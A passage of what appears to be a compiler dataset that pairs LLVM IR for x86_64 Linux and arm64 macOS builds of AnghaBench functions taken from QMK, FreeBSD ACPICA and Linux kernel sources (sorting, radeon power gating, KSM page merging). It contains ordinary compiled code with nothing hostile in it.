declare i32 @ergodox_right_led_1_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_2_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_3_off(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_1_on(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_2_on(...) local_unnamed_addr #1
declare i32 @ergodox_right_led_3_on(...) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| qmk_firmware_layouts_community_ergodox_romanzolotarev-norman-plover-osx-hjkl_extr_keymap.c_matrix_scan_user |
; ModuleID = 'AnghaBench/freebsd/sys/contrib/dev/acpica/components/namespace/extr_nsrepair2.c_AcpiNsSortList.c'
source_filename = "AnghaBench/freebsd/sys/contrib/dev/acpica/components/namespace/extr_nsrepair2.c_AcpiNsSortList.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_7__ = type { %struct.TYPE_6__, %struct.TYPE_5__ }
%struct.TYPE_6__ = type { i64 }
%struct.TYPE_5__ = type { ptr }
@ACPI_SORT_ASCENDING = dso_local local_unnamed_addr global i64 0, align 8
@ACPI_SORT_DESCENDING = dso_local local_unnamed_addr global i64 0, align 8
@llvm.compiler.used = appending global [1 x ptr] [ptr @AcpiNsSortList], section "llvm.metadata"
; Function Attrs: nofree norecurse nosync nounwind memory(read, argmem: readwrite, inaccessiblemem: none) uwtable
define internal void @AcpiNsSortList(ptr nocapture noundef %0, i32 noundef %1, i32 noundef %2, i64 noundef %3) #0 {
%5 = icmp sgt i32 %1, 1
br i1 %5, label %6, label %47
6: ; preds = %4
%7 = getelementptr ptr, ptr %0, i64 -2
%8 = sext i32 %2 to i64
%9 = load i64, ptr @ACPI_SORT_ASCENDING, align 8, !tbaa !5
%10 = icmp eq i64 %9, %3
%11 = zext nneg i32 %1 to i64
%12 = zext nneg i32 %1 to i64
br label %13
13: ; preds = %6, %44
%14 = phi i64 [ 1, %6 ], [ %45, %44 ]
%15 = load i64, ptr @ACPI_SORT_DESCENDING, align 8
%16 = icmp eq i64 %15, %3
br label %17
17: ; preds = %13, %42
%18 = phi i64 [ %11, %13 ], [ %19, %42 ]
%19 = add nsw i64 %18, -1
%20 = getelementptr ptr, ptr %7, i64 %18
%21 = load ptr, ptr %20, align 8, !tbaa !9
%22 = getelementptr inbounds %struct.TYPE_7__, ptr %21, i64 0, i32 1
%23 = load ptr, ptr %22, align 8, !tbaa !11
%24 = getelementptr inbounds ptr, ptr %23, i64 %8
%25 = load ptr, ptr %24, align 8, !tbaa !9
%26 = getelementptr inbounds ptr, ptr %0, i64 %19
%27 = load ptr, ptr %26, align 8, !tbaa !9
%28 = getelementptr inbounds %struct.TYPE_7__, ptr %27, i64 0, i32 1
%29 = load ptr, ptr %28, align 8, !tbaa !11
%30 = getelementptr inbounds ptr, ptr %29, i64 %8
%31 = load ptr, ptr %30, align 8, !tbaa !9
br i1 %10, label %32, label %36
32: ; preds = %17
%33 = load i64, ptr %25, align 8, !tbaa !15
%34 = load i64, ptr %31, align 8, !tbaa !15
%35 = icmp sgt i64 %33, %34
br i1 %35, label %41, label %36
36: ; preds = %32, %17
br i1 %16, label %37, label %42
37: ; preds = %36
%38 = load i64, ptr %25, align 8, !tbaa !15
%39 = load i64, ptr %31, align 8, !tbaa !15
%40 = icmp slt i64 %38, %39
br i1 %40, label %41, label %42
41: ; preds = %37, %32
store ptr %27, ptr %20, align 8, !tbaa !9
store ptr %21, ptr %26, align 8, !tbaa !9
br label %42
42: ; preds = %36, %37, %41
%43 = icmp sgt i64 %19, %14
br i1 %43, label %17, label %44, !llvm.loop !16
44: ; preds = %42
%45 = add nuw nsw i64 %14, 1
%46 = icmp eq i64 %45, %12
br i1 %46, label %47, label %13, !llvm.loop !18
47: ; preds = %44, %4
ret void
}
attributes #0 = { nofree norecurse nosync nounwind memory(read, argmem: readwrite, inaccessiblemem: none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"long", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"any pointer", !7, i64 0}
!11 = !{!12, !10, i64 8}
!12 = !{!"TYPE_7__", !13, i64 0, !14, i64 8}
!13 = !{!"TYPE_6__", !6, i64 0}
!14 = !{!"TYPE_5__", !10, i64 0}
!15 = !{!12, !6, i64 0}
!16 = distinct !{!16, !17}
!17 = !{!"llvm.loop.mustprogress"}
!18 = distinct !{!18, !17}
| ; ModuleID = 'AnghaBench/freebsd/sys/contrib/dev/acpica/components/namespace/extr_nsrepair2.c_AcpiNsSortList.c'
source_filename = "AnghaBench/freebsd/sys/contrib/dev/acpica/components/namespace/extr_nsrepair2.c_AcpiNsSortList.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@ACPI_SORT_ASCENDING = common local_unnamed_addr global i64 0, align 8
@ACPI_SORT_DESCENDING = common local_unnamed_addr global i64 0, align 8
@llvm.used = appending global [1 x ptr] [ptr @AcpiNsSortList], section "llvm.metadata"
; Function Attrs: nofree norecurse nosync nounwind ssp memory(read, argmem: readwrite, inaccessiblemem: none) uwtable(sync)
define internal void @AcpiNsSortList(ptr nocapture noundef %0, i32 noundef %1, i32 noundef %2, i64 noundef %3) #0 {
%5 = icmp sgt i32 %1, 1
br i1 %5, label %6, label %46
6: ; preds = %4
%7 = getelementptr i8, ptr %0, i64 -16
%8 = sext i32 %2 to i64
%9 = load i64, ptr @ACPI_SORT_ASCENDING, align 8, !tbaa !6
%10 = icmp eq i64 %9, %3
%11 = zext nneg i32 %1 to i64
br label %12
12: ; preds = %6, %43
%13 = phi i64 [ 1, %6 ], [ %44, %43 ]
%14 = load i64, ptr @ACPI_SORT_DESCENDING, align 8
%15 = icmp eq i64 %14, %3
br label %16
16: ; preds = %12, %41
%17 = phi i64 [ %11, %12 ], [ %18, %41 ]
%18 = add nsw i64 %17, -1
%19 = getelementptr ptr, ptr %7, i64 %17
%20 = load ptr, ptr %19, align 8, !tbaa !10
%21 = getelementptr inbounds i8, ptr %20, i64 8
%22 = load ptr, ptr %21, align 8, !tbaa !12
%23 = getelementptr inbounds ptr, ptr %22, i64 %8
%24 = load ptr, ptr %23, align 8, !tbaa !10
%25 = getelementptr inbounds ptr, ptr %0, i64 %18
%26 = load ptr, ptr %25, align 8, !tbaa !10
%27 = getelementptr inbounds i8, ptr %26, i64 8
%28 = load ptr, ptr %27, align 8, !tbaa !12
%29 = getelementptr inbounds ptr, ptr %28, i64 %8
%30 = load ptr, ptr %29, align 8, !tbaa !10
br i1 %10, label %31, label %35
31: ; preds = %16
%32 = load i64, ptr %24, align 8, !tbaa !16
%33 = load i64, ptr %30, align 8, !tbaa !16
%34 = icmp sgt i64 %32, %33
br i1 %34, label %40, label %35
35: ; preds = %31, %16
br i1 %15, label %36, label %41
36: ; preds = %35
%37 = load i64, ptr %24, align 8, !tbaa !16
%38 = load i64, ptr %30, align 8, !tbaa !16
%39 = icmp slt i64 %37, %38
br i1 %39, label %40, label %41
40: ; preds = %36, %31
store ptr %26, ptr %19, align 8, !tbaa !10
store ptr %20, ptr %25, align 8, !tbaa !10
br label %41
41: ; preds = %35, %36, %40
%42 = icmp sgt i64 %18, %13
br i1 %42, label %16, label %43, !llvm.loop !17
43: ; preds = %41
%44 = add nuw nsw i64 %13, 1
%45 = icmp eq i64 %44, %11
br i1 %45, label %46, label %12, !llvm.loop !19
46: ; preds = %43, %4
ret void
}
attributes #0 = { nofree norecurse nosync nounwind ssp memory(read, argmem: readwrite, inaccessiblemem: none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"any pointer", !8, i64 0}
!12 = !{!13, !11, i64 8}
!13 = !{!"TYPE_7__", !14, i64 0, !15, i64 8}
!14 = !{!"TYPE_6__", !7, i64 0}
!15 = !{!"TYPE_5__", !11, i64 0}
!16 = !{!13, !7, i64 0}
!17 = distinct !{!17, !18}
!18 = !{!"llvm.loop.mustprogress"}
!19 = distinct !{!19, !18}
| freebsd_sys_contrib_dev_acpica_components_namespace_extr_nsrepair2.c_AcpiNsSortList |
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/radeon/extr_trinity_dpm.c_trinity_gfx_powergating_initialize.c'
source_filename = "AnghaBench/linux/drivers/gpu/drm/radeon/extr_trinity_dpm.c_trinity_gfx_powergating_initialize.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.atom_clock_dividers = type { i32 }
@HW_REV = dso_local local_unnamed_addr global i32 0, align 4
@ATI_REV_ID_MASK = dso_local local_unnamed_addr global i64 0, align 8
@ATI_REV_ID_SHIFT = dso_local local_unnamed_addr global i64 0, align 8
@COMPUTE_ENGINE_PLL_PARAM = dso_local local_unnamed_addr global i32 0, align 4
@GFX_POWER_GATING_CNTL = dso_local local_unnamed_addr global i32 0, align 4
@SSSD_MASK = dso_local local_unnamed_addr global i64 0, align 8
@PDS_DIV_MASK = dso_local local_unnamed_addr global i64 0, align 8
@CG_PG_CTRL = dso_local local_unnamed_addr global i32 0, align 4
@CG_GIPOTS = dso_local local_unnamed_addr global i32 0, align 4
@CG_GIPOT_MASK = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @trinity_gfx_powergating_initialize], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @trinity_gfx_powergating_initialize(ptr noundef %0) #0 {
%2 = alloca i64, align 8
%3 = alloca i64, align 8
%4 = alloca %struct.atom_clock_dividers, align 4
%5 = tail call ptr @trinity_get_pi(ptr noundef %0) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3
%6 = tail call i64 @radeon_get_xclk(ptr noundef %0) #3
%7 = load i32, ptr @HW_REV, align 4, !tbaa !5
%8 = tail call i64 @RREG32(i32 noundef %7) #3
%9 = load i64, ptr @ATI_REV_ID_MASK, align 8, !tbaa !9
%10 = load i64, ptr @ATI_REV_ID_SHIFT, align 8, !tbaa !9
%11 = load i32, ptr @COMPUTE_ENGINE_PLL_PARAM, align 4, !tbaa !5
%12 = call i32 @radeon_atom_get_clock_dividers(ptr noundef %0, i32 noundef %11, i32 noundef 25000, i32 noundef 0, ptr noundef nonnull %4) #3
%13 = icmp eq i32 %12, 0
br i1 %13, label %14, label %51
14: ; preds = %1
%15 = and i64 %9, %8
%16 = ashr i64 %15, %10
%17 = load i32, ptr @GFX_POWER_GATING_CNTL, align 4, !tbaa !5
%18 = call i64 @RREG32_SMC(i32 noundef %17) #3
%19 = load i64, ptr @SSSD_MASK, align 8, !tbaa !9
%20 = load i64, ptr @PDS_DIV_MASK, align 8, !tbaa !9
%21 = call i64 @SSSD(i32 noundef 1) #3
%22 = or i64 %20, %19
%23 = xor i64 %22, -1
%24 = and i64 %18, %23
%25 = or i64 %24, %21
%26 = load i32, ptr %4, align 4, !tbaa !11
%27 = call i64 @PDS_DIV(i32 noundef %26) #3
%28 = or i64 %25, %27
%29 = load i32, ptr @GFX_POWER_GATING_CNTL, align 4, !tbaa !5
%30 = call i32 @WREG32_SMC(i32 noundef %29, i64 noundef %28) #3
%31 = call i32 @r600_calculate_u_and_p(i32 noundef 500, i64 noundef %6, i32 noundef 16, ptr noundef nonnull %2, ptr noundef nonnull %3) #3
%32 = load i32, ptr @CG_PG_CTRL, align 4, !tbaa !5
%33 = load i64, ptr %2, align 8, !tbaa !9
%34 = call i32 @SP(i64 noundef %33) #3
%35 = load i64, ptr %3, align 8, !tbaa !9
%36 = call i32 @SU(i64 noundef %35) #3
%37 = or i32 %36, %34
%38 = call i32 @WREG32(i32 noundef %32, i32 noundef %37) #3
%39 = load i32, ptr @CG_GIPOTS, align 4, !tbaa !5
%40 = load i64, ptr %2, align 8, !tbaa !9
%41 = call i32 @CG_GIPOT(i64 noundef %40) #3
%42 = load i32, ptr @CG_GIPOT_MASK, align 4, !tbaa !5
%43 = xor i32 %42, -1
%44 = call i32 @WREG32_P(i32 noundef %39, i32 noundef %41, i32 noundef %43) #3
%45 = load i64, ptr %5, align 8, !tbaa !13
%46 = icmp ne i64 %45, 0
%47 = icmp eq i64 %16, 0
%48 = select i1 %46, i1 %47, i1 false
br i1 %48, label %49, label %51
49: ; preds = %14
%50 = call i32 @trinity_override_dynamic_mg_powergating(ptr noundef %0) #3
br label %51
51: ; preds = %14, %49, %1
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %2) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @trinity_get_pi(ptr noundef) local_unnamed_addr #2
declare i64 @radeon_get_xclk(ptr noundef) local_unnamed_addr #2
declare i64 @RREG32(i32 noundef) local_unnamed_addr #2
declare i32 @radeon_atom_get_clock_dividers(ptr noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i64 @RREG32_SMC(i32 noundef) local_unnamed_addr #2
declare i64 @SSSD(i32 noundef) local_unnamed_addr #2
declare i64 @PDS_DIV(i32 noundef) local_unnamed_addr #2
declare i32 @WREG32_SMC(i32 noundef, i64 noundef) local_unnamed_addr #2
declare i32 @r600_calculate_u_and_p(i32 noundef, i64 noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @WREG32(i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @SP(i64 noundef) local_unnamed_addr #2
declare i32 @SU(i64 noundef) local_unnamed_addr #2
declare i32 @WREG32_P(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @CG_GIPOT(i64 noundef) local_unnamed_addr #2
declare i32 @trinity_override_dynamic_mg_powergating(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"long", !7, i64 0}
!11 = !{!12, !6, i64 0}
!12 = !{!"atom_clock_dividers", !6, i64 0}
!13 = !{!14, !10, i64 0}
!14 = !{!"trinity_power_info", !10, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/radeon/extr_trinity_dpm.c_trinity_gfx_powergating_initialize.c'
source_filename = "AnghaBench/linux/drivers/gpu/drm/radeon/extr_trinity_dpm.c_trinity_gfx_powergating_initialize.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.atom_clock_dividers = type { i32 }
@HW_REV = common local_unnamed_addr global i32 0, align 4
@ATI_REV_ID_MASK = common local_unnamed_addr global i64 0, align 8
@ATI_REV_ID_SHIFT = common local_unnamed_addr global i64 0, align 8
@COMPUTE_ENGINE_PLL_PARAM = common local_unnamed_addr global i32 0, align 4
@GFX_POWER_GATING_CNTL = common local_unnamed_addr global i32 0, align 4
@SSSD_MASK = common local_unnamed_addr global i64 0, align 8
@PDS_DIV_MASK = common local_unnamed_addr global i64 0, align 8
@CG_PG_CTRL = common local_unnamed_addr global i32 0, align 4
@CG_GIPOTS = common local_unnamed_addr global i32 0, align 4
@CG_GIPOT_MASK = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @trinity_gfx_powergating_initialize], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @trinity_gfx_powergating_initialize(ptr noundef %0) #0 {
%2 = alloca i64, align 8
%3 = alloca i64, align 8
%4 = alloca %struct.atom_clock_dividers, align 4
%5 = tail call ptr @trinity_get_pi(ptr noundef %0) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %3) #3
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3
%6 = tail call i64 @radeon_get_xclk(ptr noundef %0) #3
%7 = load i32, ptr @HW_REV, align 4, !tbaa !6
%8 = tail call i64 @RREG32(i32 noundef %7) #3
%9 = load i64, ptr @ATI_REV_ID_MASK, align 8, !tbaa !10
%10 = load i64, ptr @ATI_REV_ID_SHIFT, align 8, !tbaa !10
%11 = load i32, ptr @COMPUTE_ENGINE_PLL_PARAM, align 4, !tbaa !6
%12 = call i32 @radeon_atom_get_clock_dividers(ptr noundef %0, i32 noundef %11, i32 noundef 25000, i32 noundef 0, ptr noundef nonnull %4) #3
%13 = icmp eq i32 %12, 0
br i1 %13, label %14, label %51
14: ; preds = %1
%15 = and i64 %9, %8
%16 = ashr i64 %15, %10
%17 = load i32, ptr @GFX_POWER_GATING_CNTL, align 4, !tbaa !6
%18 = call i64 @RREG32_SMC(i32 noundef %17) #3
%19 = load i64, ptr @SSSD_MASK, align 8, !tbaa !10
%20 = load i64, ptr @PDS_DIV_MASK, align 8, !tbaa !10
%21 = call i64 @SSSD(i32 noundef 1) #3
%22 = or i64 %20, %19
%23 = xor i64 %22, -1
%24 = and i64 %18, %23
%25 = or i64 %24, %21
%26 = load i32, ptr %4, align 4, !tbaa !12
%27 = call i64 @PDS_DIV(i32 noundef %26) #3
%28 = or i64 %25, %27
%29 = load i32, ptr @GFX_POWER_GATING_CNTL, align 4, !tbaa !6
%30 = call i32 @WREG32_SMC(i32 noundef %29, i64 noundef %28) #3
%31 = call i32 @r600_calculate_u_and_p(i32 noundef 500, i64 noundef %6, i32 noundef 16, ptr noundef nonnull %2, ptr noundef nonnull %3) #3
%32 = load i32, ptr @CG_PG_CTRL, align 4, !tbaa !6
%33 = load i64, ptr %2, align 8, !tbaa !10
%34 = call i32 @SP(i64 noundef %33) #3
%35 = load i64, ptr %3, align 8, !tbaa !10
%36 = call i32 @SU(i64 noundef %35) #3
%37 = or i32 %36, %34
%38 = call i32 @WREG32(i32 noundef %32, i32 noundef %37) #3
%39 = load i32, ptr @CG_GIPOTS, align 4, !tbaa !6
%40 = load i64, ptr %2, align 8, !tbaa !10
%41 = call i32 @CG_GIPOT(i64 noundef %40) #3
%42 = load i32, ptr @CG_GIPOT_MASK, align 4, !tbaa !6
%43 = xor i32 %42, -1
%44 = call i32 @WREG32_P(i32 noundef %39, i32 noundef %41, i32 noundef %43) #3
%45 = load i64, ptr %5, align 8, !tbaa !14
%46 = icmp ne i64 %45, 0
%47 = icmp eq i64 %16, 0
%48 = select i1 %46, i1 %47, i1 false
br i1 %48, label %49, label %51
49: ; preds = %14
%50 = call i32 @trinity_override_dynamic_mg_powergating(ptr noundef %0) #3
br label %51
51: ; preds = %14, %49, %1
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %2) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @trinity_get_pi(ptr noundef) local_unnamed_addr #2
declare i64 @radeon_get_xclk(ptr noundef) local_unnamed_addr #2
declare i64 @RREG32(i32 noundef) local_unnamed_addr #2
declare i32 @radeon_atom_get_clock_dividers(ptr noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i64 @RREG32_SMC(i32 noundef) local_unnamed_addr #2
declare i64 @SSSD(i32 noundef) local_unnamed_addr #2
declare i64 @PDS_DIV(i32 noundef) local_unnamed_addr #2
declare i32 @WREG32_SMC(i32 noundef, i64 noundef) local_unnamed_addr #2
declare i32 @r600_calculate_u_and_p(i32 noundef, i64 noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @WREG32(i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @SP(i64 noundef) local_unnamed_addr #2
declare i32 @SU(i64 noundef) local_unnamed_addr #2
declare i32 @WREG32_P(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @CG_GIPOT(i64 noundef) local_unnamed_addr #2
declare i32 @trinity_override_dynamic_mg_powergating(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"long", !8, i64 0}
!12 = !{!13, !7, i64 0}
!13 = !{!"atom_clock_dividers", !7, i64 0}
!14 = !{!15, !11, i64 0}
!15 = !{!"trinity_power_info", !11, i64 0}
| linux_drivers_gpu_drm_radeon_extr_trinity_dpm.c_trinity_gfx_powergating_initialize |
; ModuleID = 'AnghaBench/linux/mm/extr_ksm.c_try_to_merge_two_pages.c'
source_filename = "AnghaBench/linux/mm/extr_ksm.c_try_to_merge_two_pages.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @try_to_merge_two_pages], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal noundef ptr @try_to_merge_two_pages(ptr noundef %0, ptr noundef %1, ptr noundef %2, ptr noundef %3) #0 {
%5 = tail call i32 @try_to_merge_with_ksm_page(ptr noundef %0, ptr noundef %1, ptr noundef null) #2
%6 = icmp eq i32 %5, 0
br i1 %6, label %7, label %12
7: ; preds = %4
%8 = tail call i32 @try_to_merge_with_ksm_page(ptr noundef %2, ptr noundef %3, ptr noundef %1) #2
%9 = icmp eq i32 %8, 0
br i1 %9, label %12, label %10
10: ; preds = %7
%11 = tail call i32 @break_cow(ptr noundef %0) #2
br label %12
12: ; preds = %7, %10, %4
%13 = phi ptr [ null, %4 ], [ null, %10 ], [ %1, %7 ]
ret ptr %13
}
declare i32 @try_to_merge_with_ksm_page(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @break_cow(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
